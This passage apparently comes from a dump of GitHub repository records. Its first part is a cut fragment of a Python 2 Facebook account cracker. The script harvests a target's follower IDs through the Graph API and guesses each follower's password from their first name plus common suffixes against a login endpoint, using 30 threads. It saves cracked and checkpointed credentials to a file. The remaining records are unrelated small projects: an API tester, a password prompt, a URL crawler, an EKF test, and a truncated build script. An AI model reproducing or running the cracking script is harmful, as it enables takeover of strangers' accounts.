q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass7+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass7)\n\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\t\ndef follow():\n\ttoket=open('login.txt','r').read()\n\tos.system('clear')\n\tprint logo\n\tprint 50*\"\\033[1;97m-\"\n\tidt = raw_input(\"\\033[1;97m[\\033[1;95m \\033[1;97m] \\033[1;97mID Public/Friends \\033[1;91m:\\033[1;92m \")\n\ttry:\n\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\top = json.loads(jok.text)\n\t\tprint\"\\033[1;97m[\\033[1;95m>\\033[1;97m] \\033[1;97mName \\033[1;91m:\\033[1;92m \"+op[\"name\"]\n\texcept KeyError:\n\t\tprint\"\\033[1;97m[\\033[1;91m!\\033[1;97m] ID public/friends does not exist !\"\n\t\traw_input(\"\\n\\033[1;97mBack To Menu\")\n\t\tmenu()\n\texcept requests.exceptions.ConnectionError:\n\t\tprint\"\\033[1;97m[\\033[1;91m!\\033[1;97m] No connection !\"\n\t\tkeluar()\n\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/subscribers?limit=999999&access_token=\"+toket)\n\tz = json.loads(r.text)\n\tfor i in z['data']:\n\t\tid.append(i['id'])\n\t\t\n\tprint \"\\033[1;94m[\\033[1;92m+\\033[1;97m] Total Followers \\033[1;91m: \\033[1;97m\"+str(len(id))\n\tprint(\"\\033[1;94m[\\033[1;92mok\\033[1;97m] Cracking Process Has Been Started ...\")\n\tprint 50*\"\\033[1;97m-\"\n\t\n\tdef main(arg):\n\t\tglobal oks\n\t\tuser = arg\n\t\ttry:\n\t\t\tos.mkdir('out')\n\t\texcept OSError:\n\t\t\tpass \n\t\ttry:\n\t\t\ta = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\tpass1 = b['first_name'] + '786'\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass1)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif 'access_token' in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\tcek.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcek.close()\n\t\t\t\t\tcekpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\tpass2 = b['first_name'] + '123'\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass2)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['_name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\tcek.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\tcekpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tpass3 = b['first_name'] + '12345'\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass3)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tpass4 = b['first_name'] + '1234'\n\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass4)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\toks.append(user+pass4)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass4+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tpass5 = b['first_name'] + '12' \n\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass5)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass5+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\tpass6 = b['first_name'] + '007' \n\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass6)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass6+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tpass7 = b['first_name'] + '@123' \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass7)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass7)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass7+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass7)\n\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\ndef user_id():\n os.system('clear')\n print logo\n print '\\x1b[1;91m>>>>>>>>>\\x1b[1;93mID Not Found Problem Solve\\x1b[1;91m>>>>>>>>>\\x1b[1;0m' \n print '\\x1b[1;97m--------------------------------------------\\xc2\\xbb'\n ling = 'https://www.facebook.com/'\n url = ling + raw_input('\\x1b[1;97m{\\x1b[1;95m\\xc3\\x97\\x1b[1;97m} Username : ')\n print '\\x1b[1;97m \\xc2\\xab--------------------------------------------\\xc2\\xbb'\n idre = re.compile('\"entity_id\":\"([0-9]+)\"')\n page = requests.get(url)\n print idre.findall(page.content)\n raw_input('\\n\\x1b[1;95m[\\x1b[1;97m<Back>\\x1b[1;95m]')\n menu()\n\ndef user_us():\n os.system('clear')\n print logo\n print '\\x1b[1;91m>>>>>>>>>\\x1b[1;93mID Not Found Problem Solve\\x1b[1;91m>>>>>>>>>\\x1b[1;0m' \n print '\\x1b[1;97m--------------------------------------------\\xc2\\xbb'\n ling = 'https://www.facebook.com/'\n url = ling + raw_input('\\x1b[1;97m{\\x1b[1;95m\\xc3\\x97\\x1b[1;97m} Username : ')\n print '\\x1b[1;97m--------------------------------------------\\xc2\\xbb'\n idre = re.compile('\"entity_id\":\"([0-9]+)\"')\n page = requests.get(url)\n print idre.findall(page.content)\n raw_input('\\n\\x1b[1;95m[\\x1b[1;97m<Back>\\x1b[1;95m]')\n menu()\n\nif __name__ == '__main__':\n menu()\n\n"
}
] | 1 |
PeytonWong/apitest | https://github.com/PeytonWong/apitest | f3c51db632f148298ce996c76b7e2d9d4347c111 | 03e33d898ddbc97bd08f498070255da7b971fa84 | d96351e5368a1bca0189069ab2a07cb2842f65cb | refs/heads/master | 2020-08-28T11:10:00.045810 | 2019-10-26T08:50:09 | 2019-10-26T08:50:09 | 213,166,350 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5421940684318542,
"alphanum_fraction": 0.552742600440979,
"avg_line_length": 22.700000762939453,
"blob_id": "60bf8354cadb64614bffdc7538d15a2ce5bec1d9",
"content_id": "63b37d40f1b38c471b1e3a02d6c8be8b4055df8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 500,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 20,
"path": "/class_request/run.py",
"repo_name": "PeytonWong/apitest",
"src_encoding": "UTF-8",
"text": "# -*-coding:utf-8-*-\nimport pandas as pd\nfrom class_request.requests_scan import HttpRequest\n\ninfo = pd.read_excel('E:\\\\request_demo\\\\test_data.xlsx')\nitem_data = info.values\n\n\nclass RunCase:\n @staticmethod\n def run():\n for i in item_data:\n print('正在执行第{0}条用例,结果如下:'.format(i[0]))\n HttpRequest(). \\\n http_requests(url_data=i[1],\n method_info=i[3])\n\n\nif __name__ == '__main__':\n RunCase.run()\n"
},
{
"alpha_fraction": 0.47123289108276367,
"alphanum_fraction": 0.4808219075202942,
"avg_line_length": 27.076923370361328,
"blob_id": "18d7ea9ba4f68fe55e86407aff817212ba16fc7a",
"content_id": "31cc3eeb33e2d8cad19bb712ba649512abd8ddc4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 742,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 26,
"path": "/class_request/requests_scan.py",
"repo_name": "PeytonWong/apitest",
"src_encoding": "UTF-8",
"text": "# -*-coding:utf-8-*-\nimport requests\n\n\nclass HttpRequest:\n def http_requests(self, url_data, method_info):\n \"\"\"\n :param url_data:\n :param method_info:\n :return: res.status_code\n \"\"\"\n if method_info.upper() == \"GET\":\n res = requests.get(url_data)\n try:\n assert res.status_code == 200\n print('该get接口pass')\n except Exception as e:\n print(e)\n elif method_info == \"POST\":\n res = requests.post(url_data)\n try:\n assert res.status_code == 200\n print('该post接口pass')\n except Exception as e:\n print(e)\n return res.status_code\n"
}
] | 2 |
stardust220/test | https://github.com/stardust220/test | 2e5bcc5bc578d5cd537dfc526106cd64f2be3f8c | b2717eb6a4695e791c878e44a4830365b4df30e7 | c910f728e89813da5be978a6c265f4e2546710aa | refs/heads/master | 2020-06-25T22:14:48.795112 | 2019-07-29T22:57:45 | 2019-07-29T22:57:45 | 199,436,563 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5856079459190369,
"alphanum_fraction": 0.5955334901809692,
"avg_line_length": 30.076923370361328,
"blob_id": "23f787dcbeaa43363191e16a083f0f8d9dd355a2",
"content_id": "23d82e1baf5a191d30be8892befdd75af31b64db",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 419,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 13,
"path": "/pwd.py",
"repo_name": "stardust220/test",
"src_encoding": "UTF-8",
"text": "original_pwd = 'a123456'\ntry_count = 3 #剩餘機會\n \nwhile try_count>0:\n trial = input ('what is your password ?')\n if trial == original_pwd:\n print('sucessfully login')\n break # 跳出迴圈\n elif trial != original_pwd and try_count > 1 :\n try_count = try_count - 1\n print ('password is not correct, you still can try',try_count, 'times')\n else:\n print ('game over')"
}
] | 1 |
black-walker/url_finder | https://github.com/black-walker/url_finder | 993c5bc34f56ae2567fb0fda0636554647b64fe3 | 9fe39081a6e8716aeb57dd17cb6edb9bd7e29c16 | 8f64168c01678c7976e26baab7f4d3f850aa9ca9 | refs/heads/master | 2021-01-25T11:27:08.641943 | 2017-06-10T07:03:51 | 2017-06-10T07:03:51 | 93,921,902 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5810350179672241,
"alphanum_fraction": 0.5937403440475464,
"avg_line_length": 27.060869216918945,
"blob_id": "dbcf74cad2760410c7563563aa7ad52d8f405deb",
"content_id": "0ae9d7f9f2dc93cdd09fda5bbb10a1e0530a7554",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3227,
"license_type": "no_license",
"max_line_length": 143,
"num_lines": 115,
"path": "/1.py",
"repo_name": "black-walker/url_finder",
"src_encoding": "UTF-8",
"text": "import sys\nimport re\nimport urllib2\nimport urlparse\nimport os\nimport time\n\n#version should match with r_con framework\nver=\"1.0\"\ncurrentv = \".\".join(map(str, sys.version_info[:3]))\ndef menu():\n\t#banner\n\tos.system(\"clear\")\n\tprint \"*\"*80\n\tprint \"Someone add a banne for me \\n\"\n\tprint \" Mail me at [email protected]\\n\"\n\tprint \"*\"*80\n\ttime.sleep(1)\n\tos.system(\"clear\")\n\n\t\ndef usage():\n\tprint \"\"\n\tprint \"usage -> python \" + sys.argv[0] + \" (option)\"\n\tprint \" Available options :\"\n\tprint \" -h \t\t\t Display help page\\n\"\n\tprint \" -up \t\t Update urlparser \\n\" #not yet started\n\tprint \" -u=(url)\t\t\t Url of webpage\\n\" \n\tprint \" -f=(filename))\t\t\t\t\t Fetch urls from a file\\n\"\n\tprint \" -n \t\t\t\t\t\t\t\t\t New features to be included in next version\\n\"\n\ndef main_check(url):\n\ttosearch = set([url])\n\tcrawled = set([])\n\tkdreg = re.compile('<meta\\sname=[\"\\']keywords[\"\\']\\scontent=[\"\\'](.*?)[\"\\']\\s/>')\n\tlnkreg = re.compile('<a\\s*href=[\\'|\"](.*?)[\\'\"].*?>')\n\n\twhile 1:\n\t\ttry:\n\t\t\tsearching = tosearch.pop()\n\t\t\tprint searching\n\t\texcept KeyError:\n\t\t\traise StopIteration\n\t\turl = urlparse.urlparse(searching)\n\t\ttry:\n\t\t\tresponse = urllib2.urlopen(searching)\n\t\texcept:\n\t\t\tcontinue\n\t\tmsg = response.read()\n\t\tstartPos = msg.find('<title>')\n\t\tif startPos != -1:\n\t\t\tendPos = msg.find('</title>', startPos+7)\n\t\t\tif endPos != -1:\n\t\t\t\ttitle = msg[startPos+7:endPos]\n\t\t\t\tprint title\n\t\tkeywordlist = kdreg.findall(msg)\n\t\tif len(keywordlist) > 0:\n\t\t\tkeywordlist = keywordlist[0]\n\t\t\tkeywordlist = keywordlist.split(\", \")\n\t\t\tprint keywordlist\n\t\tlinks = lnkreg.findall(msg)\n\t\tcrawled.add(searching)\n\t\tfor link in (links.pop(0) for _ in xrange(len(links))):\n\t\t\tif link.startswith('/'):\n\t\t\t\tlink = 'http://' + url[1] + link\n\t\t\telif link.startswith('#'):\n\t\t\t\tlink = 'http://' + url[1] + url[2] + link\n\t\t\telif not link.startswith('http'):\n\t\t\t\tlink = 'http://' + url[1] + '/' + link\n\t\t\tif link not in crawled:\n\t\t\t\ttocrawl.add(link)\n\n\nif len(sys.argv)>1:\n\tif sys.argv[1] == \"-h\" or sys.argv[1] == \"--help\":\n\t\tmenu()\n\t\tusage()\n\telif sys.argv[1] == \"-v\" or sys.argv[1] == \"--version\":\n\t\tmenu()\n\t\tprint \"Current version is :\" + ver\n\t\tprint \"-> Required version is 2.X\"\n\t\tprint \"-> Current version is \" + currentv \n\telif sys.argv[1] == \"-up\" or sys.argv[1] == \"--update\":\n\t\tmenu()\n\t\tprint \"*\"*80\n\t\tprint \"Will add this new features in r_con framework \\n \"\n\t\tprint \" keep flooding [email protected] with ur demands \\n\"\n\t\tprint \"*\"*80\n\telif sys.argv[1] == \"-n\" or sys.argv[1] == \"--new\":\n\t\tmenu()\n\t\t#for survey purpose only\n\t\tprint \"We havnt decided what to add yet \\n It is a part of r_con framework \\n If u want some function to be added to this mail us at [email protected]\"\n\telse:\n\t\turl = sys.argv[1].replace(\"-u=\", \"\").replace(\"--url=\", \"\")\n\t\tmain_check(url)\n\t\tif len(url) == 0:\n\t\t\tfname = sys.argv[2].replace(\"-f=\", \"\").replace(\"--fname=\", \"\")\n\t\t\tf = open(fname)\n\t\t\tlines = f.readline()\n\t\t\tfor line in lines:\n\t\t\t\tline = url\n\t\t\t\tprint \"> looking up in \" + url + \" :\"\n\t\t\t\tmain_check(url)\n\t\t\tf.close()\n\t\telse:\n\t\t\tmenu()\n\t\t\tmain_check(url)\t\nelse:\n\tmenu()\n\tprint \"Add some arguments and check requirement.txt \\n\"\n\ttime.sleep(2)\n\tprint\" use pip install -r requirements.txt\"\n\tos.system(\"clear\") \n\tprint \" quiting now!!!!!!!\"\n\tusage()\n"
},
{
"alpha_fraction": 0.7455830574035645,
"alphanum_fraction": 0.7455830574035645,
"avg_line_length": 20.615385055541992,
"blob_id": "1ff821613e97afba30400c6eebf71449984375eb",
"content_id": "b09cc976f15ea6a9ce10e86f213e38337f158740",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 283,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 13,
"path": "/README.md",
"repo_name": "black-walker/url_finder",
"src_encoding": "UTF-8",
"text": "# URL-FINDER\nThis is a part of r_con\n\nThis can be used for finding all url in a webpage hidden one also \n\nIt can crawl multiple urls also( one at a time)\n\n\n# features yet to add \nReporting system and parsing url to other tools \nGUI version \n\ncrawling more than one url at one time \n\n"
}
] | 2 |
wuruoyu/ecl | https://github.com/wuruoyu/ecl | 16ea70fb7581dd9be438d155532c4bb54428d718 | e0087384650841af1e080694500d487f42cde911 | eb393d139954e02577d355d20c9c93e67805ff6d | refs/heads/master | 2022-12-07T20:20:16.938213 | 2020-08-23T02:56:05 | 2020-08-23T02:56:05 | 287,594,430 | 1 | 0 | null | 2020-08-14T18:02:44 | 2020-08-13T03:24:01 | 2020-08-14T11:48:36 | null | [
{
"alpha_fraction": 0.6965265274047852,
"alphanum_fraction": 0.703839123249054,
"avg_line_length": 29.36111068725586,
"blob_id": "f299c685abc94bd735912f2b3d59eda46544c7b9",
"content_id": "d3e6b31f68f1e411695865fa4e8c06cd3b0fa19c",
"detected_licenses": [
"BSD-3-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1094,
"license_type": "permissive",
"max_line_length": 126,
"num_lines": 36,
"path": "/test/test_EKF_replay_sym.cpp",
"repo_name": "wuruoyu/ecl",
"src_encoding": "UTF-8",
"text": "#include <math.h>\n#include <memory>\n#include <iostream>\n#include \"../EKF/ekf.h\"\n#include \"sensor_simulator/sensor_simulator.h\"\n#include \"sensor_simulator/ekf_wrapper.h\"\n#include \"sensor_simulator/ekf_logger.h\"\n\nint main()\n{\n auto _ekf = std::make_shared<Ekf>();\n\n SensorSimulator _sensor_simulator(_ekf);\n\n EkfWrapper _ekf_wrapper(_ekf);\n EkfLogger _ekf_logger(_ekf);\n\n _sensor_simulator.loadSensorDataFromFileSym(\"/home/ruoyu/workspace/numeric/pass/test/replay_sensor/sample_sensor_data.txt\");\n\n //_ekf_logger.setFilePath(\"/home/wuruoyu/workspace/numeric/lib/ecl/test/change_indication/iris_gps.csv\");\n\n // Start simulation and enable fusion of additional sensor types here\n // By default the IMU, Baro and Mag sensor simulators are already running\n \n // TODO: enable the GPS\n //_sensor_simulator.startGps();\n //_ekf_wrapper.enableGpsFusion();\n\n uint8_t logging_rate_hz = 100;\n for(int i = 0; i < 9 * logging_rate_hz; ++i)\n {\n std::cout << \"each step\" << std::endl;\n _sensor_simulator.runReplaySeconds(1.0f / logging_rate_hz);\n //_ekf_logger.writeStateToFile();\n }\n}\n\n"
},
{
"alpha_fraction": 0.6460883617401123,
"alphanum_fraction": 0.6487493515014648,
"avg_line_length": 42.55813980102539,
"blob_id": "b9ab58832cf5ea17c2aa3dc41d70d2fb2bfc48fe",
"content_id": "f5449e69cac5f3748328777a45555d836c512022",
"detected_licenses": [
"BSD-3-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1879,
"license_type": "permissive",
"max_line_length": 434,
"num_lines": 43,
"path": "/script.py",
"repo_name": "wuruoyu/ecl",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\nimport sys\nimport os\nimport getopt\nfrom subprocess import call\n\nECL_DIR = \"/home/ruoyu/workspace/numeric/ecl/\"\nPASS_DIR = \"/home/ruoyu/workspace/numeric/pass/\"\nSYMCC_DIR = \"/home/ruoyu/workspace/numeric/symcc/\"\n\ndef main(argv):\n\n test_option = sys.argv[1]\n\n os.chdir(ECL_DIR)\n\n if test_option == 'normal':\n os.environ['CC'] = \"clang\"\n os.environ['CXX'] = \"clang++\"\n MAIN_CXX = \"clang++\"\n elif test_option == 'numeric':\n os.environ['CC'] = PASS_DIR + \"numeric\"\n os.environ['CXX'] = PASS_DIR + \"numeric++\"\n MAIN_CXX = PASS_DIR + \"numeric++_main\"\n elif test_option == 'numeric_symcc':\n os.environ['CC'] = SYMCC_DIR + \"symcc_numeric\"\n os.environ['CXX'] = SYMCC_DIR + \"sym++_numeric\"\n os.environ['SYMCC_INPUT_FILE'] = PASS_DIR + \"test/replay_sensor/sample_sensor_data.txt\"\n MAIN_CXX = SYMCC_DIR + \"sym++_numeric_main\"\n else:\n print(\"error\")\n \n call(\"make clean\", shell=True)\n call(\"make test -n > 